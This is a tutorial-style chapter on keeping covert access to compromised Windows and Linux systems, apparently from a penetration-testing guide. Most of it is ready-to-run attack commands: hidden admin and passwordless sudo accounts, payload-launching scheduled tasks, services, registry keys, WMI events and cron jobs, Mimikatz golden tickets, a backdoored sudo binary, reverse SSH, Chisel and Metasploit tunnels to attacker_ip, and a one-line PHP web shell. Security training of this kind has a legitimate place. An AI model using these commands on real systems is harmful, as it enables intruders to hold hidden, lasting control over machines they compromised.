Maintaining access is the process of creating reliable, covert, and persistent entry points into a compromised networked system. Once attackers gain initial access and extract credentials, they must ensure that they can return even if passwords change, sessions expire, or systems reboot. This chapter explains multiple persistence techniques for both Windows and Linux systems, covering credential-based access, backdoored services, scheduled tasks, implants, and network-based persistence.

Understanding Persistence

Persistence ensures long-term access by relying on:

Accounts
Services
Scheduled tasks
Web shells
SSH keys
Backdoored binaries
Remote management tools
Registry-based persistence
Network tunnels

Pentesters use persistence methods only in controlled engagements with full authorization.

Maintaining Access on Windows

Windows systems offer multiple persistence vectors once administrative privileges are obtained.

1. Using Local Administrator Accounts

Create a new admin user to regain access later.

Create User

net user backupadmin StrongPass123! /add

Add to Administrators Group

net localgroup administrators backupadmin /add

This approach is simple and reliable but can be detected by auditing.

2. Enabling and Using the Hidden Administrator Account

Enable Built-In Administrator

net user administrator /active:yes

Set Password

net user administrator StrongPass123!

This account is often overlooked but should be used sparingly.

3. RDP Persistence

Enable RDP for remote login.

Enable RDP

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Allow Through Firewall

netsh advfirewall firewall set rule group="remote desktop" new enable=yes

RDP allows persistent GUI access into internal systems.

4. Scheduled Task Persistence

Run a script or payload at startup.

Create Scheduled Task

schtasks /create /sc onstart /tn "WinUpdate" /tr "C:\backdoor.ps1"

Scheduled tasks are common and blend with legitimate tasks.

5. Service-Based Persistence

Install a malicious or modified service that runs automatically.

Create New Service

sc create WinBackup binPath= "C:\payload.exe" start= auto
sc start WinBackup

Malicious services survive reboots and maintain system-level execution.

6. Registry Run Keys

Launch programs when a user logs in.

Add Run Key

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater /t REG_SZ /d "C:\payload.exe"

Common and stealthy persistence for user-level access.

7. WMI Event Subscription

Trigger execution based on system events.

Example WMI Subscription

powershell.exe -command "Register-WmiEvent -Query 'select * from Win32_LogonSession' -Action { Start-Process C:\payload.exe }"

WMI persistence is stealthy and difficult to detect.

8. Golden Ticket Persistence (Kerberos)

If KRBTGT hash is extracted, attackers can generate unlimited Kerberos tickets.

Example with Mimikatz

kerberos::golden /user:admin /domain:corp.local /sid:<SID> /krbtgt:<hash> /id:500

Golden tickets provide long-term domain persistence.

Maintaining Access on Linux

Linux systems support persistent access through services, SSH keys, cron jobs, binaries, and misconfigurations.

1. SSH Key Persistence

Upload your public key into authorized_keys.

Add Key

echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

SSH key persistence is quiet and reliable.

2. Root Backdoor User

Create a privileged user.

Add User

useradd -m backup

Add to sudoers

echo "backup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

This grants passwordless root access.

3. Cron Job Persistence

Execute a script periodically or at reboot.

Cron Entry

@reboot /usr/bin/python3 /root/payload.py

Cron-based persistence is common and effective.

4. Systemd Service Persistence

Create a malicious service.

Create Service

echo "[Service]
ExecStart=/usr/bin/backdoor
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/backdoor.service

Enable:

systemctl enable backdoor
systemctl start backdoor

Survives reboots and runs with root privileges.

5. Bashrc or Profile Backdoors

Execute commands when the user opens a terminal.

Add Entry

echo "/usr/bin/payload" >> ~/.bashrc

User-level persistence ideal for compromised users.

6. Modifying SSH Configuration

Allow root login:

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
systemctl restart sshd

Enables direct SSH access with captured passwords or keys.

7. Backdooring System Binaries

Replace a commonly executed binary:

mv /usr/bin/sudo /usr/bin/sudo.bak
cp backdoor /usr/bin/sudo

Backdoored binaries execute attacker code before normal behavior.

Network-Based Persistence

Attackers may also maintain access through C2 channels or tunnels.

1. Reverse SSH Tunnels

Use compromised host to maintain outbound connection.

Reverse Tunnel

ssh -R 4444:localhost:22 attacker@attacker_ip

The attacker connects back even if inbound traffic is blocked.

2. Chisel Reverse SOCKS Tunnel

Start Client on Victim

chisel client attacker_ip:9001 R:socks

Maintains a continuous pivot point.

3. Metasploit Persistence

Metasploit provides built-in persistence for Meterpreter sessions.

run persistence -X -i 30 -p 4444 -r attacker_ip

This reconnects automatically on reboot.

4. Web Shell Persistence

Add a web shell to internal web servers.

Place minimal PHP web shell:

<?php system($_GET['cmd']); ?>

Web shells allow reliable remote execution.

Why Maintaining Access Matters

Persistence is essential for:

Long-term engagement
Re-running internal mapping
Continued lateral movement
Monitoring network activity
Privilege escalation attempts
Multi-stage attacks

A stable foothold turns a single compromise into full network dominance.

Intel Dump

Persistence uses accounts, services, scheduled tasks, SSH keys, registry keys
Windows: LSASS, WMI, services, scheduled tasks, golden tickets
Linux: systemd, cron, SSH keys, sudoers
Network: reverse tunnels, Chisel, Metasploit
Persistence ensures long-term access and supports lateral movement